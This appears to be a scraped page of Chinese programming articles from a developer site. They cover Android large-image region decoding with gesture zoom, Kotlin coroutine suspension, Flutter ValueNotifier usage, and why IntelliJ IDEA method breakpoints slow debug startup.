这里设置Rect的right就是图片的宽度,因为原始图片的宽度可能比控件的宽度要宽,因此是将控件的宽度与图片的宽度对比获取了缩放比,那么Rect的bottom就需要等比缩放


这里的mRect可以看做是这张图片上的一个滑动窗口,无论是放大还是缩小,只要在屏幕上看到的区域,都可以看做是mRect在这张图片上来回移动截取的目标区域


1.3 BitmapRegionDecoder


在onMeasure中,我们定义了需要加载的图片的Rect,这是一块区域,那么我们通过什么样的方式能够将这块区域的图片加载出来,就是通过BitmapRegionDecoder区域解码器。


区域解码器,顾名思义,能够在某个区域进行图片解码展示


//创建区域解码器
try {
BitmapRegionDecoder.newInstance(inputStream,false)
}catch (e:Exception){

}

在传入图片流的时候,我们就已经创建了BitmapRegionDecoder,同时将图片流作为参数构建了解码器,那么这个解码器其实已经拿到了整张图片的资源,因此任意一块区域,通过BitmapRegionDecoder都能够解码展示出来


override fun onDraw(canvas: Canvas?) {
super.onDraw(canvas)
mRegionDecoder ?: return

//复用bitmap
mOptions.inBitmap = mutableBitmap
mutableBitmap = mRegionDecoder?.decodeRegion(mRect, mOptions)
//画出bitmap
val mMatrix = Matrix()
mMatrix.setScale(mScale, mScale)
mutableBitmap?.let {
canvas?.drawBitmap(it, mMatrix, null)
}
}

首先我们想要进行内存复用,需要调用BitmapFactory.Options的inBitmap,这个参数的含义就是,当我们在某块区域加载图片之后,如果图片上滑那么就需要重新加载,那么这个时候就不会重新开辟一块内存空间,而是复用之前的这块区域,所以调用BitmapRegionDecoder的decodeRegion方法,传入需要展示图片的区域,就能够给mutableBitmap赋值,这样就达成了一块内存空间,多次复用的效果。


image.png


这样通过压缩之后,在屏幕中展示了这个长图的最上边部分,那么剩下就需要做的是手势事件的处理。


2 大图View的手势事件处理


通过前期的准备工作,我们已经实现了图片的区域展示,那么接下来关键在于,我们通过手势来查看完整的图片,对于手势事件的响应,在onTouch方法中处理。


override fun onTouch(v: View?, event: MotionEvent?): Boolean {
return mGestureDetector.onTouchEvent(event)
}

2.1 GestureDetector


通常来说,手势事件的处理都是通过GestureDetector来完成,因此当onTouch方法监听到手势事件之后,直接传给GestureDetector,让GestureDetector来处理这个事件。


override fun onDown(e: MotionEvent?): Boolean {
return false
}

override fun onShowPress(e: MotionEvent?) {

}

override fun onSingleTapUp(e: MotionEvent?): Boolean {
return false
}

override fun onScroll(
e1: MotionEvent?,
e2: MotionEvent?,
distanceX: Float,
distanceY: Float
): Boolean {
return false
}

override fun onLongPress(e: MotionEvent?) {

}

override fun onFling(
e1: MotionEvent?,
e2: MotionEvent?,
velocityX: Float,
velocityY: Float
): Boolean {
return false
}

首先,我们先看下之前注册的GestureDetector.OnGestureListener监听器中实现的方法:


(1)onDown


override fun onDown(e: MotionEvent?): Boolean {

if(!mScroller.isFinished){
mScroller.forceFinished(true)
}
return true
}

当手指按下时,因为滑动的惯性,所以down事件的处理就是如果图片还在滑动时,按下就停止滑动;


(2)onScroll


那么当你的手指按下之后,可能还会继续滑动,那么就是会回调到onScroll方法,在这个方法中,主要做滑动的处理


override fun onScroll(
e1: MotionEvent?,
e2: MotionEvent?,
distanceX: Float,
distanceY: Float
): Boolean {

mRect.offset(0, distanceY.toInt())
//边界case处理
if (mRect.bottom > imageHeight) {
mRect.bottom = imageHeight
mRect.top = imageHeight - (viewHeight / mScale).toInt()
}

if (mRect.top < 0) {
mRect.top = 0
mRect.bottom = (viewHeight / mScale).toInt()
}
postInvalidate()
return false
}

在onScroll方法中,其实已经对滑动的距离做了计算(这个真的太nice了,不需要我们自己手动计算),因此只需要对mRect展示区域进行变换即可;


但是这里会有两个边界case,例如滑动到底部时就不能再滑了,这个时候,mRect的底部很可能都已经超过了图片的高度,因此需要做边界的处理,那么滑动到顶部的时候同样也是需要做判断。


图片滑动到底部的展示


(3)onFling


惯性滑动。我们在使用列表的时候,我们在滑动的时候,虽然手指的滑动距离很小,但是列表划出去的距离却很大,就是因为惯性,所以GestureDetector中对惯性也做了处理。


override fun onFling(
e1: MotionEvent?,
e2: MotionEvent?,
velocityX: Float,
velocityY: Float
): Boolean {

mScroller.fling(0, mRect.top, 0, -velocityY.toInt(), 0, 0, 0, imageHeight - viewHeight)

return false
}


//计算惯性
override fun computeScroll() {
super.computeScroll()
if (mScroller.isFinished) {
return
}
if (mScroller.computeScrollOffset()) {
//正在滑动
mRect.top = mScroller.currY
mRect.bottom = mScroller.currY + (viewHeight / mScale).toInt()
postInvalidate()
}
}

这个还是比较好理解的,就是设置最大的一个惯性滑动距离,无论怎么滑动,边界值就是从顶部一划到底,这个最大的距离就是 imageHeight - viewHeight


设置了惯性滑动的距离,那么在惯性滑动时,也需要实时改变mRect的解码范围,需要重写computeScroll方法,判断如果是正在滑动(通过 mScroller.computeScrollOffset() 判断),那么需要改变mRect的位置。


2.2 双击放大效果处理


我们在使用app时,双击某张图片或者双指拉动某张图片的时候,都会讲图片放大,这也是业内主流的两种图片放大的方式。


override fun onMeasure(widthMeasureSpec: Int, heightMeasureSpec: Int) {
super.onMeasure(widthMeasureSpec, heightMeasureSpec)
//适配
viewWidth = measuredWidth
viewHeight = measuredHeight

//缩放比
val radio = viewWidth / imageWidth.toFloat()
//分块加载首次进入展示的rect
mRect.left = 0
mRect.top = 0
mRect.right = imageWidth
mRect.bottom = viewHeight

}

我们先看一下不能缩放时,mRect的赋值;那么当我们双击放大时,left和top的位置不会变,因为图片放大了,但是控件的大小不会变,因此left的最大值就是控件的宽度,bottom的最大值就是控件的高度。


override fun onMeasure(widthMeasureSpec: Int, heightMeasureSpec: Int) {
super.onMeasure(widthMeasureSpec, heightMeasureSpec)
//适配
viewWidth = measuredWidth
viewHeight = measuredHeight

originScale = viewWidth / imageWidth.toFloat()
mScale = originScale

//分块加载首次进入展示的rect
mRect.left = 0
mRect.top = 0
mRect.right = Math.min(imageWidth, viewWidth)
mRect.bottom = Math.min((viewHeight / mScale).toInt(), viewHeight)

}

这里就将onMeasure进行改造;那么对于双击事件的处理,可以使用GestureDetector.OnDoubleTapListener来处理,在onDoubleTap事件中回调。


override fun onDoubleTap(e: MotionEvent?): Boolean {

if (mScale < originScale * 2) {
mScale = originScale * 2
} else {
mScale = originScale
}

postInvalidate()
return false
}

这里做了缩放就是判断mScale的值,因为一开始进来不是缩放的场景,因此 mScale = originScale,当双击之后,需要将mScale扩大2倍,当重新绘制的时候,Bitmap就放大了2倍。


那么当图片放大之后,之前横向不能滑动现在也可以滑动查看图片,所以需要处理,同时也需要考虑边界case


override fun onDoubleTap(e: MotionEvent?): Boolean {

if (mScale < originScale * 2) {
mScale = originScale * 2
} else {
mScale = originScale
}
//
mRect.right = mRect.left + (viewWidth / mScale).toInt()
mRect.bottom = mRect.top + (viewHeight / mScale).toInt()

if (mRect.bottom > imageHeight) {
mRect.bottom = imageHeight
mRect.top = imageHeight - (viewHeight / mScale).toInt()
}

if (mRect.top < 0) {
mRect.top = 0
mRect.bottom = (viewHeight / mScale).toInt()
}

if(mRect.right > imageWidth){
mRect.right = imageWidth
mRect.left = imageWidth - (viewWidth / mScale).toInt()
}

if(mRect.left < 0){
mRect.left = 0
mRect.right = (viewWidth / mScale).toInt()
}

postInvalidate()
return false
}

当双击图片之后,mRect解码的区域也随之改变,因此需要对right和bottom做相应的改变,图片放大或者缩小,都是在控件宽高的基础之上


override fun onScroll(
e1: MotionEvent?,
e2: MotionEvent?,
distanceX: Float,
distanceY: Float
): Boolean {

mRect.offset(distanceX.toInt(), distanceY.toInt())
//边界case处理
if (mRect.bottom > imageHeight) {
mRect.bottom = imageHeight
mRect.top = imageHeight - (viewHeight / mScale).toInt()
}

if (mRect.top < 0) {
mRect.top = 0
mRect.bottom = (viewHeight / mScale).toInt()
}

if(mRect.left < 0){
mRect.left = 0
mRect.right = (viewWidth / mScale).toInt()
}

if(mRect.right > imageWidth){
mRect.right = imageWidth
mRect.left = imageWidth - (viewWidth / mScale).toInt()
}

postInvalidate()
return false
}

因为需要左右滑动,那么onScroll方法也需要做相应的改动,mRect的offset需要加上x轴的偏移量。


2.3 手指放大效果处理


上一小节介绍了双击事件的效果处理,那么这一节就介绍另一个主流的放大效果实现 - 手指缩放,是依赖
ScaleGestureDetector,其实跟GestureDetector的使用方式一致,这里就不做过多的赘述。


mScaleGestureDetector = ScaleGestureDetector(context, ScaleGesture())
复制代码

在初始化ScaleGestureDetector的时候,需要传入一个ScaleGesture内部类,集成ScaleGestureDetector.SimpleOnScaleGestureListener,在onScale方法中获取缩放因子来绘制


inner class ScaleGesture : ScaleGestureDetector.SimpleOnScaleGestureListener() {
override fun onScale(detector: ScaleGestureDetector?): Boolean {

var scale = detector?.scaleFactor ?: mScale//可以代替mScale
if (scale < originScale) {
scale = originScale
} else if (scale > originScale * 2) {
scale = originScale * 2
}

//在原先基础上缩放
mRect.right = mRect.left + (viewWidth / scale).toInt()
mRect.bottom = mRect.top + (viewHeight / scale).toInt()

mScale = scale
postInvalidate()

return super.onScale(detector)
}
}

这里别忘记了别事件传递出来,对于边界case可自行处理


override fun onTouch(v: View?, event: MotionEvent?): Boolean {
mGestureDetector.onTouchEvent(event)
mScaleGestureDetector.onTouchEvent(event)
return true
}

下面附上大图治理的流程图


image.png


黄颜色模块: BitmapFactory.Options配置,避免整张大图直接加载在内存当中,通过开启内存复用(inMutable),使用区域解码器,绘制一块可见区域‘


浅黄色模块: View的绘制流程


作者:A帝
链接:https://juejin.cn/post/7131385674694918180
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

分享Kotlin协程在Android中的使用

前言 之前我们学了几个关于协程的基础知识,本文将继续分享Kotlin协程的知识点~挂起,同时介绍协程在Android开发中的使用。 正文 挂起 suspend关键字 说到挂起,那么就会离不开suspend关键字,它是Kotlin中的一个关键字,它的中文意思是暂...
继续阅读 »

前言


之前我们学了几个关于协程的基础知识,本文将继续分享Kotlin协程的知识点~挂起,同时介绍协程在Android开发中的使用。


正文


挂起


suspend关键字


说到挂起,那么就会离不开suspend关键字,它是Kotlin中的一个关键字,它的中文意思是暂停或者挂起。


以下是通过suspend修饰的方法:


suspend fun suspendFun(){
   withContext(Dispatchers.IO){
       //do db operate
  }
}

通过suspend关键字来修饰方法,限制这个方法只能在协程里边调用,否则编译不通过。


suspend方法其实本身没有挂起的作用,只是在方法体力便执行真正挂起的逻辑,也相当于提个醒。如果使用suspend修饰的方法里边没有挂起的操作,那么就失去了它的意义,也就是无需使用。


虽然我们无法正常去调用它,但是可以通过反射去调用:


suspend fun hello() = suspendCoroutine<Int> { coroutine ->
   Log.i(myTag,"hello")
   coroutine.resumeWith(kotlin.Result.success(0))
}

//通过反射来调用:
fun helloTest(){
   val helloRef = ::hello
   helloRef.call()
}
//抛异常:java.lang.IllegalArgumentException: Callable expects 1 arguments, but 0 were provided.

fun helloTest(){
   val helloRef = ::hello
   helloRef.call(object : Continuation<Int>{
       override val context: CoroutineContext
           get() = EmptyCoroutineContext

       override fun resumeWith(result: kotlin.Result<Int>) {
           Log.i(myTag,"result : ${result.isSuccess} value:${result.getOrNull()}")
      }
  })
}
//输出:hello

挂起与恢复


看一个方法:


public suspend inline fun <T> suspendCancellableCoroutine(
   crossinline block: (CancellableContinuation<T>) -> Unit
): T =
   suspendCoroutineUninterceptedOrReturn { uCont ->
       val cancellable = CancellableContinuationImpl(uCont.intercepted(), resumeMode = MODE_CANCELLABLE)
       block(cancellable)
       cancellable.getResult()
  }

这是Kotlin协程提供的api,里边虽然只有短短的三句代码,但是实现甚是复杂而且关键。


继续跟进看看getResult()方法:


internal fun getResult(): Any? {
   installParentCancellationHandler()
   if (trySuspend()) return COROUTINE_SUSPENDED//返回此对象表示挂起
   
   val state = this.state
   if (state is CompletedExceptionally) throw recoverStackTrace(state.cause, this)
   
   if (resumeMode == MODE_CANCELLABLE) {//检查
       val job = context[Job]
       if (job != null && !job.isActive) {
           val cause = job.getCancellationException()
           cancelResult(state, cause)
           throw recoverStackTrace(cause, this)
      }
  }
   return getSuccessfulResult(state)//返回结果
}

最后写一段代码,然后转为Java看个究竟:


fun demo2(){
   GlobalScope.launch {
       val user = requestUser()
       println(user)
       val state = requestState()
       println(state)
  }
}

编译后生成的代码大致流程如下:


 public final Object invokeSuspend(Object result) {
      ...
       Object cs = IntrinsicsKt.getCOROUTINE_SUSPENDED();//上面所说的那个Any:CoroutineSingletons.COROUTINE_SUSPENDED
       switch (this.label) {
           case 0:
               this.label = 1;
               user = requestUser(this);
               if(user == cs){
                   return user
                }
               break;
           case 1:
               this.label = 2;
               user = result;
               println(user);
               state = requestState(this);
               if(state == cs){
                   return state
                }
               break;
           case 2:
              state = result;
              println(state)
               break;
      }
  }

当协程挂起后,然后恢复时,最终会调用invokeSuspend方法,而协程的block代码会封装在invokeSuspend方法中,使用状态来控制逻辑的实现,并且保证顺序执行。


通过以上我们也可以看出:



  • 本质上也是一个回调,Continuation

  • 根据状态进行流转,每遇到一个挂起点,就会进行一次状态的转移。


协程在Android中的使用


举个例子,使用两个UseCase来模拟挂起的操作,一个是网络操作,另一个是数据库的操作,然后操作ui,我们分别看一下代码上面的区别。


没有使用协程:


//伪代码
mNetworkUseCase.run(object: Callback {
onSuccess(user: User) {
    mDbUseCase.insertUser(user, object: Callback{
        onSuccess() {
            MainExcutor.excute({
                 tvUserName.text = user.name
              })
          }
      })
  }
})

我们可以看到,用回调的情况下,只要对数据操作稍微复杂点,回调到主线程进行ui操作时,很容易就嵌套了很多层,导致了代码难以看清楚。那么如果使用协程的话,这种代码就可以得到很大的改善。


使用协程:


private fun requestDataUseGlobalScope(){
  GlobalScope.launch(Dispatchers.Main){
//模拟从网络获取用户信息
       val user = mNetWorkUseCase.requireUser()
//模拟将用户插入到数据库
       mDbUseCase.insertUser(user)
//显示用户名
       mTvUserName.text = user.name
  }
}

对以上函数作说明:



  • 通过GlobalScope开启一个顶层协程,并制定调度器为Main,也就是该协程域是在主线程中运行的。

  • 从网络获取用户信息,这是一个挂起操作

  • 将用户信息插入到数据库,这也是一个挂起操作

  • 将用户名字显示,这个操作是在主线程中。


由此在这个协程体中就可以一步一步往下执行,最终达到我们想要的结果。


如果我们需要启动的线程越来越多,可以通过以下方式:


private fun requestDataUseGlobalScope1(){
   GlobalScope.launch(Dispatchers.Main){
       //do something
  }
}

private fun requestDataUseGlobalScope2(){
   GlobalScope.launch(Dispatchers.IO){
       //do something
  }
}

private fun requestDataUseGlobalScope3(){
   GlobalScope.launch(Dispatchers.Main){
       //do something
  }
}

但是平时使用,我们需要注意的就是要在适当的时机cancel掉,所以这时我们需要对每个协程进行引用:



private var mJob1: Job? = null
private var mJob2: Job? = null
private var mJob3: Job? = null

private fun requestDataUseGlobalScope1(){
   mJob1 = GlobalScope.launch(Dispatchers.Main){
       //do something
  }
}

private fun requestDataUseGlobalScope2(){
   mJob2 = GlobalScope.launch(Dispatchers.IO){
       //do something
  }
}

private fun requestDataUseGlobalScope3(){
   mJob3 = GlobalScope.launch(Dispatchers.Main){
       //do something
  }
}

如果是在Activity中,那么可以在onDestroy中cancel掉


override fun onDestroy() {
   super.onDestroy()
   mJob1?.cancel()
   mJob2?.cancel()
   mJob3?.cancel()
}

可能你发现了一个问题:如果启动的协程不止是三个,而是更多呢?


没错,如果我们只使用GlobalScope,虽然能够达到我们的要求,但是每次我们都需要去引用他,不仅麻烦,还有一点是它开启的顶层协程,如果有遗漏了,则可能出现内存泄漏。所以我们可以使用kotlin协程提供的一个方法MainScope()来代替它:


private val mMainScope = MainScope()

private fun requestDataUseMainScope1(){
   mMainScope.launch(Dispatchers.IO){
       //do something
  }
}
private fun requestDataUseMainScope2(){
   mMainScope.launch {
       //do something
  }
}
private fun requestDataUseMainScope3(){
   mMainScope.launch {
       //do something
  }
}

可以看到用法基本一样,但有一点很方便当我们需要cancel掉所有的协程时,只需在onDestroy方法cancel掉mMainScope就可以了:


override fun onDestroy() {
   super.onDestroy()
   mMainScope.cancel()
}

MainScope()方法:


@Suppress("FunctionName")
public fun MainScope(): CoroutineScope = ContextScope(SupervisorJob() + Dispatchers.Main)

使用的是一个SupervisorJob(制定的协程域是单向传递的,父传给子)和Main调度器的组合。


在平常开发中,可以的话使用类似于MainScope来启动协程。


结语


本文的分享到这里就结束了,希望能够给你带来帮助。关于Kotlin协程的挂起知识远不止这些,而且也不容易理清,还是会继续去学习它到底用哪些技术点,深入探究原理究竟是如何。


作者:敖森迪
链接:https://juejin.cn/post/7130427677432872968
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Flutter中的ValueNotifier和ValueListenableBuilder

在这篇文章中,我们将深入探讨ValueNotifier及其相应的主题。 ValueNotifier简介 ValueNotifier是继承自ChangeNotifier的一个类。该类可以保存单个值,并每当其持有值更改时会通知正在监听它的Widget。ValueN...
继续阅读 »

在这篇文章中,我们将深入探讨ValueNotifier及其相应的主题。


ValueNotifier简介


ValueNotifier是继承自ChangeNotifier的一个类。该类可以保存单个值,并每当其持有值更改时会通知正在监听它的WidgetValueNotifier还是非常有用得,性能高效,因为它只重建使用ValueListenableBuilder监听它的Widget


ValueNotifier使用


将ValueNotifier视为保留值的数据流。我们为它提供一个值,每个监听器都会收到值变化的通知。

我们可以创建任何类型的int、bool、list或任何自定义数据类型的ValueNotifier。您可以像这样创建一个ValueNotifier对象:


ValueNotifier<int> counter = ValueNotifier<int>(0);

我们可以像这样更新值:


counter.value = counter.value++;
//或者
counter.value++;

此外,我们可以像这样监听ValueNotifier


counter.addListener((){
print(counter.value);
});

删除值通知监听器


如果我们手动监听ValueNotifier,当前页面上不使用时,我们可以使用removeListener函数从ValueNotifier中手动删除侦听器。


ValueNotifier<int> valueNotifier = ValueNotifier(0);

void remove() {
valueNotifier.removeListener(doTaskWhenNotified);
}

void add(){
valueNotifier.addListener(doTaskWhenNotified);
}

void doTaskWhenNotified() {
print(valueNotifier.value);
}

释放ValueNotifier


当不再使用时调用dispose方法是一个良好做法,否则可能会导致内存泄漏。ValueNotifier上的dispose方法将释放任何订阅的监听器。


@override
void dispose() {
counter.dispose();
super.dispose();
}

什么是ValueListenableBuilder?


Flutter中有许多类型的构建器,如StreamBuilderAnimatedBuilderFutureBuilder等,他们的名字表明他们是消费的对象类型。ValueListenableBuilder使用ValueNotifier对象,如果我们想在Widget中的监听某一个值,我们可以使用ValueListenableBuilder,每次我们收到值更新时,都会执行构建器方法。当我们路由到另一个页面时,ValueListenableBuilder会自动在内部删除监听。


const ValueListenableBuilder({
required this.valueListenable,
required this.builder,
this.child,
})

这是ValueListenableBuilder的构造函数。在这里,valueListenable是要收听的ValueNotifier。构建器函数接收3个参数(BuildContext context, dynamic value, Widget child),该value是从提供的valueNotifier收到的数据。可以使用子参数。如果子构建成本高,并且不依赖于通知符的值,我们将使用它进行优化。


使用Value Notifier的计数器应用程序


使用ValueNotiferValueListenableBuilder的计数器应用程序,这里没有使用setState,当值发生改变的时候,我们只重建文本部分。


import 'package:flutter/material.dart';

void main() {
runApp(const App());
}

class App extends StatelessWidget {
const App({Key? key}) : super(key: key);

@override
Widget build(BuildContext context) {
return const MaterialApp(
home: HomePage(),
);
}
}

class HomePage extends StatefulWidget {
const HomePage({Key? key}) : super(key: key);

@override
State<HomePage> createState() => _HomePageState();
}

class _HomePageState extends State<HomePage> {
final _counterNotifier = ValueNotifier<int>(0);

@override
Widget build(BuildContext context) {
print('HOMEPAGE BUILT');
return Scaffold(
appBar: AppBar(title: const Text('Counter App')),
body: Center(
child: ValueListenableBuilder(
valueListenable: _counterNotifier,
builder: (context, value, _) {
return Text('Count: $value');
},
),
),
floatingActionButton: FloatingActionButton(
onPressed: () {
_counterNotifier.value++;
},
child: const Icon(Icons.add),
),
);
}

@override
void dispose() {
_counterNotifier.dispose();
super.dispose();
}
}

作者:Eau_z
链接:https://juejin.cn/post/7132000226331590692
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

千万不要在方法上打断点!有大坑!

你好呀,我是歪歪。我上周遇到了一个莫名其妙的搞心态的问题,浪费了我好几个小时。气死我了,拿这几个小时来敲(摸)代(摸)码(鱼)不香吗?主要是最后问题的解决方式也让我特别的无语,越想越气,写篇文章吐槽一下。先说结论,也就是标题:在本地以 Debug 模式启动项目...
继续阅读 »

千万不要在方法上打断点!有大坑!

你好呀,我是歪歪。

我上周遇到了一个莫名其妙的搞心态的问题,浪费了我好几个小时。

气死我了,拿这几个小时来敲(摸)代(摸)码(鱼)不香吗?

主要是最后问题的解决方式也让我特别的无语,越想越气,写篇文章吐槽一下。

先说结论,也就是标题:

在本地以 Debug 模式启动项目的时候,千万不要在方法上打断点!千万不要!

首先什么是方法断点呢?

比如这样的,打在方法名这一行的断点:

你点击 IDEA 里面的下面这个图标,View Breakpoints,它会给你弹出一个框。

这个弹框里面展示的就是当前项目里面所有的断点,其中有一个复选框,Java Method Breakpoints,就是当前项目里面所有的“方法断点”:

那么这个玩意到底有什么坑呢?

当项目以 Debug 模式启动的时候,非常非常非常严重的拖慢启动速度。

给你看两个截图。

下面这个是我本地的一个非常简单的项目,没有方法断点的时候,只要 1.753 秒就启动完成了:

但是当我加上一个方法断点的时候,启动时间直接来到了 35.035 秒:

从 1.7 秒直接飙升到 35 秒,启动时间涨幅 2000%。

你说遭不遭得住?

遭不住,对不对。

那么我是怎么踩到这个坑的呢?

一个同事说他项目里面遇到一个匪夷所思的 BUG,想让我帮忙一起看看。

于是我先把项目拉了下来,然后简单的看了一下代码,准备把项目先在本地跑起来调试一下。

然而半个小时过去了,项目还没起来。我问他:这个项目本地启动时间怎么这么长呢?

他答:正常来说半分钟应该就启动起来了呀。

接着他还给我演示了一下,在他那边确实 30 多秒就启动成功了。

很明显,一样的代码,一个地方启动慢,一个地方启动快,首先怀疑环境问题。

于是我准备按照下面的流程走一次。

检查设置 -> 清空缓存 -> 换workspace -> 重启 -> 换电脑 -> 辞职

我检查了所有的配置、启动项、网络连接什么的,确保和他本地的环境是一模一样的。

这一套操作下来,差不多一小时过去了,并没有找到什么头绪。

但是那个时候我一点都不慌,我还有终极绝招:重启。

毕竟我的电脑已经好几个月没有关闭过了,重启一下也挺好的。

果然,重启了电脑之后,还是没有任何改变。

正在焦头烂额之际,同事过来问我啥进度了。

我能怎么说?

我只能说:从时间上来说应该解决了,但是实际上我连项目都还没启动成功。

听到这话,他坐在我的工位,准备帮我看一下。

半分钟之后,一个神奇的场景出现了,他在我的电脑上直接就把项目启动起来了。

一盘问,他并没有以 Debug 的模式启动,而是直接运行的。

用脚趾头想也知道,肯定是 Debug 模式在搞事情。

然后基于面向浏览器编程的原则,我现在有了几个关键词:IDEA debug 启动缓慢。

然后发现有很多人遇到了类似的问题,解决方法就是启动的时候取消项目里面的“方法断点”。

但是,遗憾的是,没有大多数文章都是说这样做就好了。但是并没有告诉我为什么这样做就好了。

我很想知道为什么会有这个坑,因为我用方法断点用的还是很多的,关键是以前在使用的过程中完全没有注意到还有这个坑。

“方法断点”还是非常实用的,比如我随便个例子。

之前写事务相关的文章的时候,提到过这样的一个方法:

java.sql.Connection#setAutoCommit

setAutoCommit 这个方法有好几个实现类,我也不知道具体会走哪一个:

所以,调试的时候可以在下面这个接口打上一个断点:

然后重启程序,IDEA 会自动帮你判断走那个实现类的:

但是需要特别说明的是,不是所有的方法断点都会导致启动缓慢的问题。至少在我本地看起来是这样的。

当我把方法断点加在 Mapper 的接口里面的时候,能稳定复现这个问题:

当把方法断点加在项目的其他方法上的时候,不是必现的,偶尔才会出现这个问题。

另外,其实当你以 Debug 模式启动且带有方法断点的时候,IDEA 是会弹出这个提醒,告诉你方法断点会导致 Debug 缓慢的问题:

但是,真男人,从不看提醒。反正我是直接就忽略了,根本没有关心弹窗的内容。

至于为什么会在 Mapper 的接口上打方法断点?

都怪我手贱,行了吧。

到底为什么

在找答案的过程中,我发现了这个 idea 的官方社区的链接:

intellij-support.jetbrains.com/hc/en-us/ar…

这个贴子,是 JetBrains Team 发布的,关于 Debug 功能可能会导致的性能缓慢的问题。

在这个帖子中,第一个性能点,就是 Method breakpoints。

官方是怎么解释这个问题的呢?

我给你翻译一波。

Method breakpoints will slow down debugger a lot because of the JVM design, they are expensive to evaluate.

他们说由于 JVM 的设计,方法断点会大大降低调试器的速度,因为这玩意的 “evaluate” 成本很高。

evaluate,四级单词,好好记一下,考试会考:

大概就是说你要用方法断点的功能,在启动过程中,就涉及到一个关于该断点进行“评估”的成本。成本就是启动缓慢。

怎么解决这个“评估”带来的成本呢?

官方给出的方案很简单粗暴:

不要使用方法断点,不就没有成本了?

所以,Remove,完事:

Remove method breakpoints and consider using the regular line breakpoints.

删除方法断点并考虑使用常规的 line breakpoints。

官方还是很贴心的,怕你不知道怎么 Remove 还专门补充了一句:

To verify that you don't have any method breakpoints open .idea/workspace.xml file in the project root directory (or .iws file if you are using the old project format) and look for any breakpoints inside the method_breakpoints node.

可以通过下面这个方法去验证你是否打开了方法断点。

就是去 .idea/workspace.xml 文件中,找到 method_breakpoints 这个 Node,如果有就 Remove 一下。

然后我看了一下我项目里面对应的文件,没有找到 method_breakpoints 关键字,但是找到了下面这个。

应该是文档发生了变化,问题不大,反正是一个意思,

其实官方给出的这个方法,虽然逼格稍微高一点,但还是我前面给的这个操作更简单:

针对“到底为什么”这个问题。

在这里,官方给的回答,特别的模糊:because of the JVM design。

别问,问就是由于 JVM 设计如此。

我觉得这不是我想要的答案,但是好在我在这个帖子下面找到了一个“好事之人”写的回复:

这个好事之人叫做 Gabi 老铁,我看到他回复的第一句话 “I made some research”,我就知道,这波稳了,找对地方了,答案肯定就藏在他附上的这个链接里面。

Gabi 老铁说:哥子们,我研究了一下这个方法断点为啥会慢的原因,研究报告在这里:

http://www.smartik.net/2017/11/met…

他甚至还来了一个概要:To make the long story short,长话短时。

他真的很贴心,我哭死。

他首先指出了问题的根本原因:

it seems that the root issue is that Method Breakpoints are implemented by using JDPA's Method Entry & Method Exit feature.

根本问题在于方法断点是通过使用 JDPA 的 Method Entry & Method Exit 特性实现的。

有同学就要问了,JDPA,是啥?

是个宝贝:

docs.oracle.com/javase/8/do…

JPDA,全称 Java Platform Debugger Architecture。

IDEA 里面的各种 Debug 功能,就是基于这个玩意来实现的。

不懂也没关系,这个东西面试又不考,在这里知道有这个技术就行。

接着,他用了四个 any 来完成了跳句四押:

This implementation requires the JVM to fire an event each time any thread enters any method and when any thread exits any method.

这个实现,要求 JVM,每次,在任何(any)线程进入任何(any)方法时,以及在任何(any)线程退出任何(any)方法时触发事件。

好家伙,这不就是个 AOP 吗?

这么一说,我就明白为什么方法断点的性能这么差了。要触发这么多进入方法和退出方法的事件,可不得耗费这么多时间吗?

具体的细节,他在前面说的研究报告里面都写清楚了,如果你对细节感兴趣的话,可以咨询阅读一下他的那篇报告。

话说他这个报告的名字也起的挺唬人的:Method Breakpoints are Evil。

我带你看两个关键的地方。

第一个是关于 Method Entry & Method Exit 的:

  • IDE 将断点添加到其内部方法断点 list 中
  • IDE 告诉前端启用 Method Entry & Method Exit 事件
  • 前端(调试器)通过代理将请求传递给 VM
  • 在每个 Method Entry & Method Exit 事件中,通过整个链将通知转发到 IDE
  • IDE 检查其方法断点 list 是否包含当前的这个方法。
  • 如果发现包含,说明这个方法上有一个方法断点,则 IDE 将向 VM 发送一个 SetBreakpoint 请求,打上断点。否则,VM 的线程将被释放,不会发生任何事情

这里是表明,前面我说的那个类似 AOP 的稍微具体一点的操作。

核心意思就一句话:触发的事件太多,导致性能下降厉害。

第二个关键的地方是这样的:

文章的最后给出了五个结论:

  • 方法断点 IDE 的特性,不是 JPDA 的特性
  • 方法断点是真的邪恶,evil 的一比
  • 方法断点将极大的影响调试程序
  • 只有在真正需要时才使用它们
  • 如果必须使用方法作为断点,请考虑关闭方法退出事件

前面四个点没啥说的了。

最后一个点:考虑关闭方法退出事件。

这个点验证起来非常简单,在方法断点上右键可以看到这个选项,Method Entry & Method Exit 默认都是勾选上了:

所以我在本地随便用一个项目验证了一下。

打开 Method Exit 事件,启动耗时:113.244 秒。

关闭 Method Exit 事件,启动耗时:46.754 秒。

你别说,还真有用。

现在我大概是知道为什么方法断点这么慢了。

这真不是 BUG,而是 feature。

而关于方法断点的这个问题,我顺便在社区搜索了一下,最早我追溯到了 2008 年:

这个老哥说他调试 Web 程序的速度慢到无法使用的程度。他的项目只启用了一行断点,没有方法断点。

请求大佬帮他看看。

然后大佬帮他一顿分析也没找到原因。

他自己也特别的纳闷,说:

我啥也没动,太奇怪了。这玩意有时可以,有时不行。

像不像一句经典台词:

但是问题最后还是解决了。怎么解决的呢?

他自己说:

确实是有个方法断点,他也不知道怎么打上这个断点的,可能和我一样,是手抖了吧。

意外收获

在前面出现的官方帖子的最下面,有这样的两个链接:

它指向了这个地方:

http://www.jetbrains.com/help/idea/d…

我把这部分链接都打开看了一遍,经过鉴定,这可真是好东西啊。

这是官方在手摸手教学,教你如何使用 Debug 模式。

我之前看过的一些调试小技巧相关的文章,原来就是翻译自官方这里啊。

我在这里举两个例子,算是一个导读,强烈推荐那些在 Debug 程序的时候,只知道不停的下一步、跳过当前断点等这样的基本操作的同学去仔细阅读,动手实操一把。

首先是这个:

针对 Java 的 Streams 流的调试。

官方给了一个调试的代码示例,我做了一点点微调,你粘过去就能跑:

class PrimeFinder {

    public static void main(String[] args) {
        IntStream.iterate(1, n -> n + 1)
                .limit(100)
                .filter(PrimeTest::isPrime)
                .filter(value -> value > 50)
                .forEach(System.out::println);
    }
}

class PrimeTest {
    static boolean isPrime(int candidate) {
        return candidate == 91 ||
                IntStream.rangeClosed(2, (int) Math.sqrt(candidate))
                        .noneMatch(n -> (candidate % n == 0));
    }
}
复制代码

代码逻辑很简单,就是找 100 以内的,大于 50 的素数。

